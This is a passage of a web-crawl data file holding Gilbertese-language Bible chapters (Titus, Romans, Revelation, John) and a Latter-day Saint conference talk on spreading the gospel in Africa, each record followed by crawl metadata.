4Ma ngke e kaotaki ana atataiaomata ma tangiraia aomata iroun te Atua ae ara Tia Kamaiu, 5ao ti a kamaiuaki irouna, tiaki ibukini mwakuri aika ti a tia ni karaoi ngke ti kani karaoa nanon te Atua, ma ibukin oin nanona n nanoanga; are E kamaiura iai ri nanon te tebotebo ni kaitiaki n te ran are e reitaki ma te manga-bungiaki, ao n ana mwakuri te Taamnei are e Raoiroi ni manga-kaboouan te maiu. 6E nurakina ni kabatiaa te Taamnei are e Raoiroi i aora te Atua iroun Iesu Kristo are ara Tia Kamaiu, 7bwa a aonga n reke reitakira ma te Atua n ana akoi, ao e na reke bwa ara bwai te maiu are e aki toki are ti kaantaningaia. 8E koaua te taeka aei. I tangiriko bwa ko na karokoraoa aron taekinani baikai, bwa a aonga akana onimakina te Atua n tarataraiia bwa a na kaakaraoi mwakuri aika a raraoi, aika a raoiroi ma ni boongana i bukiia aomata. 9Ma ko na kararoako man taian titiraki ni baba, ma taiani kateiriki, ma unra, ma kauntaeka i aon taekan te Tua, bwa akea manenaia ao akea naba uaaia. 10Ao ibukin te aomata ae e karika te i raraaure n iango irouia aomata, ko na aki manga tabe ma ngaia ngkana ko a tia ni kauoua reireiana; 11ngkai ko a ataia bwa te aomata anne e aki eti arona, ao ana bure a kakoauaa arona nakoina bwa e kaairua. 12Ngkana I kanakoa Aretema nakoim, ke tao Tukiko, ao ko na bareiko ni kawarai i Nikobori; bwa I a tia ni baaireia bwa N na kabanea bongin te aumeaang iai. 13Ko na buoka Tena are te rooia ma Aboro, bwa a aonga ni waekoa ni mwananga, ao taraia bwa a na akea te bae a na kainnanoia. 14A reireiaki ara aomata bwa a na kaakaraoi mwakuri aika a raraoi, bwa a aonga ni buoki kain nano aika a riai, ao n te aro aei a boongana iai aia tai. 15A bbane ni kamauriko aomata aikaa mena irou. Ko na anga ara kamauri nakoia ake a tangiriira n te onimaki. E na mena te aakoaki iroumi ni kabaneingkami.\nTITO 3","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Titus\/3","date":"2014-03-17T08:51:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678705051\/warc\/CC-MAIN-20140313024505-00078-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":467,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.465,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 15:1515Ma n te reta aei ao I a tia n ninikoria n taekini bwaai tabeua aika I a tia ni kauringngkami iai. I ninikoria n taekin ibukina bwa E a tia te Atua n ana aakoi ni karikai Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/15","date":"2014-03-07T09:53:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999640676\/warc\/CC-MAIN-20140305060720-00033-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000091791152954}","num_words":54,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.407,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10785_859_27dicksonE a tia ni waki raoi te Ekaretia ri aon te aonaaba man te botanaomata teuana nakon te botanaomata are teuana, te katei teuana nakon are teuana, aomata nakoiia aomata ni kaineti ma Ana tai te Uea.\nE a bobonga ana mwakuri n te maiu are mamate te Tia Kamaiu. E toki marakina i Ketetemwane ao i aon te kaibangaki. Ti reiakinna ni Mwakuri te mwakoro 1 bwa: E a tia n rereirei 40 te bong i mwin Mangautina, \"n noraki\" irouia Abotoro ao \"n tataekin … bwain uean te Atua\" (Mwakuri 1:3).\nE tuangiia bwa \"Ma ane kam na anganaki te mwaaka, ngkana E roko te Tamnei are Raoiroi i aomi: ao ane kam na riki bwa taan kaotioti ibukiu i Ierutarem, ao i Iutaia ni kabanea, ao i Tamaria, ao ni karokoa tabon aonaaba\" (Mwakuri 1:8)\nE aki maan mwin anne, \"e uotakirake; ao e mwaneia te nang mai mataia.\n\"Ao ngke a tararake nako karawa ngke e nako Iesu, ao akea bwa a tei i rarikiia uoman te aomata aika kunnikaiia ni kunnikai aika mainaina;\n\"Ao a taku, Mwaane aika I-Kariraia, kam aera ngkai kam tei n tararake nako karawa? bwa Iesu aei, are uotakirake mai roumi nako karawa, E na manga nakomai n ai arona ngkai kam noria, bwa E a nako karawa\" (Mwakuri 1:9–11)\nN te koaua, e na manga bon karairaki te Tia Kamaiu n Ana Kauaoki, ma n te tai aei, e na riai n tia n uotaki ana euangkerio Iesu Kristo ni karokoa \"tabon te aonaaba.\"\nTi reiakinna iroun Mataio te tua ae onoti nakoiia Abotoro n uotakin te euangkerio nakoiia botanaomata ni kabaneiia:\n\"Ao E roko Iesu ao E taetae nakoiia ni kangai, I anganaki te mwaaka ni kabanea i karawa ao i aonaaba.\n\"Ma ngaia ae kam na nako ni kakiritianiia botanaomata ni kabaneiia, ni bwabetitoiia nako nanon aran te Tama ma te Nati ma te Tamnei are Raoiroi\" (Mataio 28:18–19).\nI nanon moan wawakin te Ekaretia, n te tai are e uotaki te euangkerio nakon ti te baronga are Iteraera; e roko n te tai anne te kaotioti nakon Betero, te moan Abotoro, bwa e a bo tain te euangkerio n uotaki ri aon Iteraera ao nakoiia Tientaire. Te ka 10 ao te ka 11 ni mwakoron Mwakuri e buoka kaotaakira te waki ao te banna are e kainnanoaki ni karaababaan te Ekaretia nakoiia mwaitiia natin te Atua e kaotaki nakoiia aobitia n tararua ao membwa ni kabuta.\nNi kamanenaan Konenerio, are te Tientaire, are mataniwin te atu ni buaka ae tebubua kaaina, te mwaane are raoiroi, te Uea e buoka Betero ni kaotaa bwa te euangkerio e nang nakoiia Tientaire, te iango are boou ao n ianena nakoiia Aomata Aika Itiaki n te bong anne. E roko nakon Betero, te moan Abotoro, te kaotioti are e karaoa te bitaki ni wakin te Ekaretia. Ti ataia bwa n te tai anne e waekoa rokon te euangkerio nakoiia botanaomata n Tientaire.\nTe kakairi ni butanakon te Ekaretia n te tai anne bon rairakin Bwauro, are e a riki bwa te Abotoro are kakannato nakoiia Tientaire. E bwakaria te mitara i aoni kawaina nako Tamateko, ike e nora te ota ao e ongo te bwana iai, e rairaki man ana bure nako, ao e weteaki iroun te Atua (taraa Mwakuri 22:6–18) ao ikanne e a riki n rang n anainano ni kabutaakin Ana euangkerio Iesu Kristo.\nTi a iangoa te tai ae 1,800 te ririki i mwin baika a riki aikai nakon tain Kaokan te euangkerio, ke kaetan bwai ni kabane i mwaain te Kauaoki. I kakoauaa bwa rinanon te Burabeti Iotebwa Timiti e a tia te Ekaretia ni kaokaki ao n reitinako ni wakirake i an ana kairiiri te Moan Beretitenti ao te Koram n te Tengaun ma Uoman Abotoro. Tuaia n uotan te euangkerio nakon te aonaaba ti te arona ma are irouia Abotoro ni kawai.\nMan tain katean Ana Ekaretia Iesu Kristo Ibukiia Aika Itiaki Ni Bong Aika Kaitira n 1830, e a tia ni waki raoi te Ekaretia ri aon te aonaaba man te botanaomata teuana nakon te botanaomata are teuana, te katei teuana nakon are teuana, aomata nakoiia aomata ni kaineti ma Ana tai te Uea.\nN 1978 ngkanne, n irakin mwin tamnein te kaotioti are kateaki rinanon te Abotoro n tia kairiiri, n te tai aei Beretitenti Spencer W. Kimball, e roko te kaotioti n taekan te nakoanibonga ni kariaiia mwaane ake a itiaki i aon te aonaaba ni karekea te nakoanibong. E nanonaki n aei bwa inanon ara bong ni kabane natin Tamara are i Karawa n te aonaaba ni kabuta ake a kona ni karekei ana kakabwaia ni kabane te euangkerio are e a tia ni kaokaki. Aei te mwakuri ae rang n riai n uean te Atua i aon te aba ni bongrake nakon Kauaokin Kristo.\nN te tai aei N na tibwaia bwa e kanga te baei ni kainetai n te tai are Titita Dickson ao ngai ti nang uotia ara utu nako Mexico n te tai are I a tibwa riki bwa te beretitenti n te mition, ngke e Unimwaane Richard G. Scott, are te membwa n te Moan Koram n te Itingaun n te tai arei, e kaongoai rokon irouna te mitara are onoti. I uringnga bwa a neinei matau n te rannimata n te tai are e karakina nakoiu bwa tera are e reke nakoina. I kimwareirei bwa I a ataia are e koaua ao bwa e a roko te tai irouia aomata ni karekei ni kabane otenanti, tua, ao ana kakabwaia te euangkerio.\nAnne e kaania 35 te ririki n nako, ao n te tai anne I aki ataia bwa N na kabanei tabeua ririkin au mwakuri n te Itingaun n Aonon Aberika Maeao n te Ekaretia irarikia aika kakoaua, aomata aika onimaki ni maiuia a rootaki n te 1978 ni kaotioti n te nakoanibonga. Titita Dickson ao ngai ti maeka ikekei aua te ririki, ao e kakukurei wakira iai ao n tia n rairi nako maiu ibukira\nN iangoakiia bwa te botanaomata teuana, kaain Aberika Maeao a onimakina te Atua, akea irouia te bwainrang ni katanoatai ao n tibwatibwai aia koaua ma tabemwang, ao ni bati irouia te konabwai ni kairiiri. A moanna n rairaki nakon te Ekaretia n te tai ae waekoa (kanga bubua n aomata a kaain aro n tetaina), ao ni katoa wiki ke kanga aron anne a kateaki uoua uote ke mwanga n te tabo teuana n Aonon Aberika Maeao ma, ni kuri ni katoai te tabo, kairiri n nakoanibong ai bon I-Aberika naba ni bane n ikotaki ma taan tia kairiiri iai.\nE korakora nanou bwa tera ngke kam kona n iriia kaain te Ekaretia n te tembora i Aba, Nigeria, ke Accra, Ghana, ike ko na nora iai aia kakaonimaki kaain te Ekaretia ao n ataiia beretitentii ni kabane n temboran Aberika. Ke tera ngke I kona ni kabwarabwarako nakoia Itingaun n Aono i Aberika, aika ikotaki ma ngaira ikai n te Tienta ni Maungatabu n te bong aei ao ngaiia bon rooia, burobetia, manatia, ke ko a tia n irekereke ma te titeiki n Aberika ma taan tia kairiiri n uoote ma aia utu.\nNi kabuta Aberika, ni kaaina te Bootaki n Reirei n Tabati, bootaki, ke te kiraati n te nakoanibonga bon te namakin ae tabu, ike e iraki iai ana karikiram te Ekaretia ao e korakora te oota n taekan te euangkerio, angareirei, ao reiakinaki iroun te Tamnei.\nTe euangkerio i Aberika e kawariia aomata aika kukurei, ao a aki rang n katabeiia ma taraakin tinanikun rabwataia ake e katabeaiangai maiuia angiia kaain aba ake i Maeao. A aki karawawataiia n taekan karerekean bwin aoia n aki toki.\nA tia n taekinaki I-Aberika bwa \"iai irouia ae rang ni karako mwaitina te baere te kabanea n uarereke manenana ao e mwaiti irouia te baere e rang ni kakawaki. E uarereke irouia mataiaakinan mwenga aika bubura ao ka aika kabanean tamaroa ma e korakora irouia bwakan nanoia n kan ataakin Tamaia are i Karawa ma Natina, Iesu Kristo, ao ni karekean irouia te utu ae akea tokina. Mwin aia onimaki, E karietataiia te Uea ni waki aika manena.\nN aron ae ti kinaiia iai, ti aki mimi bwa a na reke bwa te mwakoro teuana ni karaababaan Ana Ekaretia Iesu Kristo Ni Bong Aika Kaitira. N anganakin Taniera, te burabeti n te O Tetemanti, e taetae ni burabetia uean te Atua ni bong aika kaitira bwa \"e rabino[bino] nako tabon te aonaaba, n aekan [te] atibu are e koreakinako man te maunga n akea baai [ae] rabinonako ni karokoa e kanoa te aonaaba ni kabane\" (D&C 65:2), e rang n rokoraoi bwa tarira I-Aberika aika kamimi ao mwaanera a reke bwa te mwakoro teuana ae kakannato ni kakoroan te taetae ni burabeti anne ao bwa kaotioti ni karaoana e na iri Ana banna te Uea ake E katei.\nI kakoaua bwa Tamara are i Karawa E tangiriia Natina ni kabane, bwa Iesu bon te Kristo, ao bwa e a reke te euangkerio iroura ni kabane, ake a maiu ao ake a mate. N aran Iesu Kristo ae tabu, amen.","id":"","dump":"CC-MAIN-2014-10","url":"https:\/\/www.lds.org\/general-conference\/2013\/04\/the-gospel-to-all-the-world?lang=spa&clang=gil","date":"2014-03-16T17:48:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1394678703273\/warc\/CC-MAIN-20140313024503-00040-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1505,"character_repetition_ratio":0.063,"word_repetition_ratio":0.036,"special_characters_ratio":0.222,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao e kaoti te bwai ae e rangi ni kamiimii taraana i karawa: te aine ae e kunnikaiaki n taai, ao e mena namwakaina i aani waena, ao te baunuea ae tebwi ma uoua itoina i aon atuna. 2E bikoukou neierei; ao e tangi n takaarua ngke e ariri, bwa e nangi bung. 3Ao e a manga kaoti te bwai riki teuana i karawa ae e rangi ni kamiimii naba taraana: te man ae te raakon ae e korakora ae e uraura, ao itiua atuuna ao tengauni korona, ao itiua te baunuea i aon atuna. 4Ao bukina e uakina iai kateni-mwakoroni mwaitin itoini karawa, ao e tewe nako aon te aba; ao e tei te raakon i matan te aine are e nangi bung, bwa e na kana natina n te tai are e bungiaki iai. 5Ao neierei e bungia natina ae te mwaane, ae e na tauu taekaia bootanaomata ni kabaneia, ni kairiia ma te matoa; ao e na anaaki natina n uotaki rake nakon te Atua ao nakon ana kaintokanuea. 6Ao e biri nako te aine arei nakon te rereua, nakon te tabo are E katauraoia te Atua ibukina, ike e na tararuaki iai i nanontengaaao uabubua ao onongaun te bong. 7Ao e riki te buaka i karawa: Mikaera ma ana anera a buakana te raakon; ao e buaka te raakon ma ana anera, 8ma a aki tokanikai; ao e aki manga nooraki nneia i karawa. 9Ao e teweaki nako mai eta te raakon are e korakora, are te naeta are ngkoangkoa, are arana te Riaboro ke Tatan, are e mwaamwanaiia kaain aonnaba ni kabaneia: e teweaki nako aon te aba, ao a teweaki nako naba ana anera ma ngaia. 10Ao I ongo te bwanaa ae e korakora i karawa, bwa e kaangai, E a roko ngkai ana kamaiu Atuara, ma mwaakana ma ueana, ma mwaakan ana Kristo: bwa e a tia n teweaki nako te tia bukiniia tarira, ni kabuaakakaiia i matan Atuara ni ngaina ao ni bong. 11Ao a kataea ana kai n raraan te Tiibuteteei ao n te koaua are a tataekinna; ao a kukurei n anga maiuia ma ni mate naba. 12Ma ngaia ae kam na kimwaareirei, ngkami aika taiani karawa, ao ngkami aika kam maeka iai. E na reke kain te aba ma marawa! Bwa e a tia n ruo nakoimi te riaaboro ma unna ae korakora, ngkae e ataia bwa e a uarereke ana tai. 13Ao te raakon, ngke e ataia bwa e a tia n teweaki nako aon te aba, ao e nako ni kakioa te aine are e bungia natina are te mwaane. 14Ao e anganaki neierei bain te ikare aika uaai aika a abwaabwaki, bwa e na kibakiba nakon te rereua nakon ana tabo, ike e na tararuaki iai i nanon teniua ma te iterana te ririki, ao ike e raroa nako iai mai iroun te naeta. 15Ao te naeta e katiinakoa te ran ae kaanga ai aron te karaanga mai wiina bwa e na raanga n ri mwiin te aine, bwa e aonga n ae e uota nako neierei. 16Ao aontano e buoka neierei: e kaurea wiia aontano ao e oonga te karaanga are e katiinakoa te raakon mai wina. 17Ao e un te raakon nakon te aine arei, ao e nako bwa e na buakaniia natin neierei ake tabemwaang, ake a kakaawakin ana tua te Atua, ma n teimatoa n taua te koaua are E kaotiotia Iesu. 18Ao e tei te raakon i aon te bike i rarikin tari.\nTE KAOTIOTI 12","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/12","date":"2014-03-08T18:04:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999656144\/warc\/CC-MAIN-20140305060736-00032-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":584,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.495,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E riai iroura ngaira aika a korakora ara onimaki bwa ti na taotaon nanora nakoia aika a mamaara aia onimaki, ao ti na aki iri oin nanora ni karaoa are ti tangiria. 2Ti na bane n tatabemanira nako ni kakukureiia raora ni baika a na boongana i bukiia, bwa a aonga ni buokaki aia onimaki ni kakorakoraaki. 3Bwa E aki kakukureia i bon irouna Kristo; n ai aron are e koreaki ni kaangai: A bwakarai aia taeka n iowawa ake a taetae n iowawa nakoim. 4Bwa bwaai ni kabane ake a koreaki ngkoa a koreaki ibukin reireiara, bwa e aonga n reke iroura te kaantaninga n taekan te taotaonaki n nano ma te kauunga nano n te Baibara. 5Ao te Atua are e riki mai irouna taotaonan te nano ma kabeebetean te nano, E na anganingkami te nano ni boonnano are e reke ni katootoongan aroni Kristo Iesu; 6bwa e aonga n ae kam neboa te Atua are Taman ara Uea are Iesu Kristo n te nano ae ti teuana ao n te bwanaa ae ti teuana. 7Ma ngaia ae kam na i mwannemwane n i aakoakoi, n ai aron naba Kristo ngke E mwaneira n akoira, bwa E aonga n neboaki iai te Atua. 8I tuangkami bwa E roko Kristo bwa te tia buokiia I-Iutaia, ni kaotia nakoia bwa E a tia ni kakaonimaki te Atua ni kakoroa bukin ana taeka n aakoi ake E taekin nakoia aia bakatibu ake a kakannato; 9ao bwa a aonga n neboa naba te Atua aomata aika tiaki I-Iutaia ibukin arona n nanoanga nakoia, n ai aron are e koreaki ni kaangai: Ma ngaia ae N na karaoiroiko i buakoia bootanaomata aika tiaki I-Iutaia, Ao N na anenea aram. 10Ao aio naba: Kam na kimwaareirei, ngkami aika bootanaomata aika tiaki I-Iutaia ma ana aomata te Atua. 11Ao manga aio naba: Kam na karaoiroa te Uea, ngkami aika bootanaomata aika tiaki I-Iutaia ni kabaneingkami; Ke a kamoamoa natanaomata ni kabaneia. 12Ao e taku Itaia, Ane e na kaoti temanna man ana utu Iete; E na taua taekaia botanaomata aika tiaki I-Iutaia, ao ane a na kaantaningaia. 13Ao te Atua are e riki mai irouna te kaantaninga, E na kaon nanomi n te kimwaareirei ni kabanea ma te rau ibukina ngkai kam onimakinna, bwa e aonga n teimatoa ami kaantaninga ni mwaakan te Taamnei are e Raoiroi. 14Tariu, I aki nanokokoraki iroumi bwa a rangi n raoiroi aromi, ao kam rangi n atai baika kam riai ni karaoi, ao kam konaa n i reirei iroumi. 15Ma n te reta aei ao I a tia n ninikoria n taekini bwaai tabeua aika I a tia ni kauringngkami iai. I ninikoria n taekin ibukina bwa E a tia te Atua n ana aakoi ni karikai 16bwa ana tia mwakuri Iesu Kristo ngai i bukiia aomata aika tiaki I-Iutaia. I mwakuri bwa ai aron te ibonga ngai n tataekina ana euangkerio te Atua, bwa a aonga n riki aomata aika tiaki I-Iutaia bwa ai aroni karea aika E na kukurei te Atua irouia, aika a tia ni katabuaki ibukina iroun te Taamnei are e Raoiroi. 17Ma ngaia ae ibukin arou n reitaki ma Iesu Kristo, ao e riai bwa N na kamoamoaai n au mwakuri ibukin te Atua. 18Bwa N na ninikoria n taekina te baere E a tia ni karaoia Kristo irou n au taeka ma au mwakuri ibukini kairaia aomata aika tiaki I-Iutaia, bwa a aonga n ongeaaba nakon te Atua. 19Ao N na bon ninikoria naba n taekina aroni Kristo ni karaoani kanikina ma mwakuri aika a kamiimii ni mwaakan te Taamnei are e Raoiroi. Ma ngaia are ni mwanangau nakon taabo nako ake I a tia n roko iai, mai Ierutarem ni karokoa aonon Iruriko, ao I a tia n tataekina euangkerioni Kristo. 20I kekeiaki n tataekina te euangkerio tiaki n taabo ike e a tia n roko iai taekani Kristo: bwa N na aki reita nako te mwakuri are e a tia ni moanaki i mwaaiu iroun temanna; 21n ai aron are e koreaki ni kaangai: A na nooria ake a tuai n tuangaki taekana, Ao a na atatai ake a tuai n ongo. 22Ao bon aei bukin are e aki konaa n rereke iai au tai n roko iroumi. 23Akea ngkai au mwakuri n taabo aikai, ao I a kaman tangiria i nanon ririki aika a bati bwa N na kawaringkami, 24ngkana I mwananga nako Tibeen; ao I kaantaningaia bwa N na nooringkami i aoni kawaiu n au tai ni mwananga, ao ni bakaborauaki nako iai iroumi i mwiin tiau n noora aroni kakukurein te mena i buakomi i nanon te tai ae e kimototo. 25N te tai aei, ao N na nako Ierutarem n nikiri bwaai ibukini buokaia ana aomata te Atua ikekei. 26Bwa a kukurei nanoia I-Mwaketonia ma I-Akaia n anga bwaai n tituaraoi i bukiia ake a aki kaubwai i buakoia ana aomata te Atua ake a mena i Ierutarem. 27Boni ngaiia aika a kukurei ni karaoa aei. Ma a bon riai ni buokiia ake a aki kaubwai: bwa ngkai a buokanibwai I-Iutaia ma aomata aika tiaki I-Iutaia ni baika a raraoi mai iroun te Atua ibukin taamneiia, ao bon te bwai ae e riai irouia Kristian aika tiaki I-Iutaia bwa a na buokiia Kristian aika I-Iutaia, n anganiia baika a kainnanoi ibukini maiuia. 28Ma ngaia aei, ngkana I a tia ni karaoa aei, ma n anganiia naba rabwatan te mwaiti ni mwane are e a tia ni bobootaki i bukiia, ao N na karoko iroumi i aoni kawaiu nako Tibeen. 29Ao I ataia bwa ngkana I roko iroumi, ao N na roko ma te kabwaia ae moan te bati mai irouni Kristo. 30I bubutingkami, taari, ibukin ara Uea are Iesu Kristo ao ibukin te tangira are mai iroun te Taamnei, bwa kam na kakorakoraingkami ma ngai n tataro nakon te Atua i bukiu, 31bwa N na kamaiuaki mai irouia ake a rawa n onimaki i Iutaia, ao a na kukurei n au mwakuri ana aomata te Atua ake a mena i Ierutarem. 32Ngkana I tia ni karaoa aei, ao N na nakoimi ma te kukurei, ngkana nanon te Atua, ao e na rangi n nako raoi arou n tiku ni motirawa i buakomi. 33E na mena iroumi ni kabaneingkami te Atua are mai irouna te raoi. Amene.\nROM 15","id":"","dump":"CC-MAIN-2014-10","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15","date":"2014-03-09T06:54:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-10\/segments\/1393999674993\/warc\/CC-MAIN-20140305060754-00026-ip-10-183-142-35.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1050,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma E nako Iesu n te maunga are Oriweta. 2Ngke e a tibwa moaningabong, ao E a manga oki nakon te umwantabu. A bane nakoina aomata, ao Ngaia E tekateka ao E reireiia. 3Iai te aine temanna ae e kuneaki ngke e wene ni bure. A kairia taani koroboki ma Bwaritaio, ao a kaaki i nuukaia aomata, 4ao a taku nakoina, Te Tia Reirei, e kuneaki neiei n te tai are e karaoa iai te wene ni bure. 5E tuangiira Mote n te Tua, bwa a na karebanaaki akana a karaoa aron anne. Tera Ngkoe am taeka ibukin neienne? 6A atonga aei bwa a kani kamwanea, bwa e aonga n reke bukinana iai irouia. E bwaoua ni baraaki Iesu, ao E koroboki n tabonibaina i aontano. 7Ngke a aki toki n titirakinna, ao E tei rake, ao E taku nakoia, Ane e tuai meni bure i buakomi, ao e na karea moa neiei n te atiibu. 8Ao E a manga bwaoua ni baraaki riki ao E koroboki n tabonibaina i aontano. 9Ngke a ongo aomata ana taeka Iesu, ao a oti nako n tatabemaniia, ni moa mai irouia unimwaane ni karokoa ae a bane aia koraki. E tiku Iesu n ti Ngaia, ao e tiku naba te aine arei ni nnena are e tei iai. 10E tei rake Iesu ao E taku nakoina, Neiko, a nga aomata? Akea irouia ae e taku bwa ko bure? 11Ao e taku neierei, Te Uea, akea. E taku ngkanne Iesu nakoina, Ao Ngai I aki motika naba taekam; ko na nako, ao tai manga bure. 12E a manga taetae Iesu nakoia aomata, ao E taku, Ngai ae I anga te oota nakoia aomata i aonnaba. Ane e riki bwa au reirei, ao e na bon aki nakonako n te roo, ma e na reke irouna te oota are e na anganna te maiu. 13Ma ngaia are a taku Bwaritaio nakoina, Ko boni kaotiota arom i bon iroum; akea koauan am taeka. 14E kaekaia Iesu ao E taku, Ao ngkana I kaotiota arou i bon irou, ao bon iai naba koauan au taeka: bwa I ataa ike I nako maiai, ao I ataa ike N na nako iai; ma ngkami kam aki ataa ike I nako maiai, ao ike N na nako iai. 15Kam bwaina te nano n aomata n ami motiki-taeka; akea ae I motika taekana. 16Ma ngke arona bwa I motika taekan te aomata, ao e bon eti au moti, bwa tiaki ti Ngai ni katiaa au moti; bon raou te Tama are e kanakomaiai. 17E koreaki n ami tua ae e kaangai bwa ngkana e bo raoi aia kaotioti taani kakoaua aika uoman, ao e koaua aia kaotioti. 18Te tia kakoaua Ngai bon i bukiu, ao te tia kakoaua naba i bukiu bon te Tama are e kanakomaiai. 19A taku ngkanne nakoina, E ngaa Tamam? E kaekaia Iesu ao E taku, Kam aki ataai ao kam aki ataa naba Tamau. 20E atongi taeka aikai Iesu n te umwantabu n te ru are a mena iai bwaoki ake a nneaki iai bwaai n tangira. Akea irouia aomata ae e tauua ni kaburea, bwa E tuai ni bo ana aoa. 21E a manga taku naba Iesu nakoia, N nangi nako, ao ane kam na ukoukorai, ma kam na mate i buakon ami bure. Ike N na nako iai, ao kam aki konaa n roko iai. 22Ma ngaia are a taku I-Iutaia, E na bakabureia ngkae E kaangai, Kam aki konaa n roko ike N na nako iai? 23E taku Iesu nakoia, Kaain aon te aba ngkami, ma Ngai kaain eta. Ana bwai te aba aei ngkami, ma tiaki ana bwai te aba aei Ngai. 24Ao anne bukin are I kaangai iai nakoimi bwa kam na mate i buakon ami bure; bwa kam na boni mate i buakon ami bure ngkana kam aki kakoauaai bwa boni Ngaia Ngai. 25A titirakinna ngkanne ni kaangai, Antai Ngkoe? E kaekaia Iesu ao E taku, Boni ngaia are I a tia n taekinna nakoimi ma ngke I moa n taetae. 26A bati baika I konaa n taekin bwa taekami, ao baika I konaa ni kaoti bwa aromi aika a bubuaka. E taekina te koaua Teuare e kanakomaiai, ao are I taekinna nakoia aomata i aonnaba bon ti are I a tia n ongo mai irouna. 27A aki ataia bwa E taekina te Tama nakoia. 28Ma ngaia are E taku Iesu nakoia, Ngkana kam a tia n tabekaa rake Natin te Aomata ni katinea i aon te kaibangaki, ao kam a ataia iai bwa boni Ngaia Ngai, ao akea te bwai ae I karaoia n oin nanou; ma I atongi baikai n ai aron reireiau iroun te Tama. 29E meemena irou Teuare e kanakomaiai; E aki kiitanai ni katukai n ti Ngai, ibukina bwa I aki toki ni kaakaraoa te baere E kukurei iai. 30A mwaiti aomata aika a ongo ana taeka Iesu aikai, ao a kakoauaa. 31E taku ngkanne Iesu nakoia I-Iutaia ake a kakoauaa, Ngkana kam teimatoa n ongeaaba nakon au taeka, ao bon au reirei ni koaua ngkami iai; 32ao kam na ataa te koaua, ao e na kainaomataingkami te koaua. 33A taku nakoina, Kanoan Aberaam ngaira, ao akea ae ti a tia n toronaki irouna. Tera ngkanne nanon am taeka, ngke Ko kaangai: Kam na kainaomataaki? 34E kaekaia Iesu ao E taku, Bon te koaua ni koaua ae I a tuangkami bwa ane e karaoa ae e buaakaka ao e toronaki iroun te buaakaka. 35E aki tiku ni maan te toro bwa kaain te utu, ma e tiku te nati bwa kaaina n aki toki. 36Ma ngaia aei, ngkana E kainaomataingkami te Nati, ao kam na bon inaomata. 37I ataa ae kanoan Aberaam ngkami. Ma e boni ngae n anne, ao kam ukoukora kamateau ibukina bwa kam rawa ni butimwaaea au taeka n reirei. 38I taekini baika I noori ma Tamau, ma ngkami kam karaoi baike e tuangkami tamami. 39A kaekaa ao a taku, Ara bakatibu Aberaam. E taku ngkanne Iesu, Ngke arona bwa kanoan Aberaam ngkami, ao kam karaoa are e karaoia Aberaam. 40Ma ae kam ukoukora naba kamateau, Ngai ae te aomata ae I tuangkami te koaua are I ongo mai iroun te Atua; e aki karaoa aei Aberaam. 41Kam karaoa are e karaoia tamami. A taku nakoina, Tiaki natintamwa ngaira; ti temanna Tamara, bwa te Atua. 42E taku Iesu nakoia, Ngke arona bwa te Atua Tamami, ao kam na tangirai, bwa I nako mai iroun te Atua. I aki nako mai n oin nanou, ma E kanakomaiai. 43E aera ngkai kam aki ataa nanon te bae I taekinna? Aio bukina, bwa kam rawa ni kan ongo au taeka n reirei. 44Natin tamami are te riaaboro ngkami, ao nanomi ti te kani karaoa are e tangiria tamami. Te tia kamaamate ngaia ma rimoa, ao e aki bwaabwaina te koaua, bwa akea te koaua i nanona. Ngkana e kewe, ao e boni kaota anuana: bwa te tia kewe ngaia, ao boton te kewe. 45Ma, ibukina ngkai I taekina te koaua, ao kam aki kakoauaai. 46Antai iroumi ae e konaa ni motika taekau bwa I bure? Ngkana I atonga te koaua, ao kam aera ngkai kaam aki kakoauaai? 47Anemai iroun te Atua, ao e ongo ana taeka te Atua; ma tiaki mai iroun te Atua ngkami, ma ngaia ae kam aki kan ongo. 48A kaeka I-Iutaia ao a taku nakon Iesu, Tiaki bwa e eti ara taeka ngke ti taku bwa te I-Tamaria Ngkoe, ao iai iroum te taimonio? 49E kaekaia Iesu ao E taku, Akea te taimonio irou; ma I karinea Tamau, ao ngkami kam aki karineai. 50I aki ukoukora 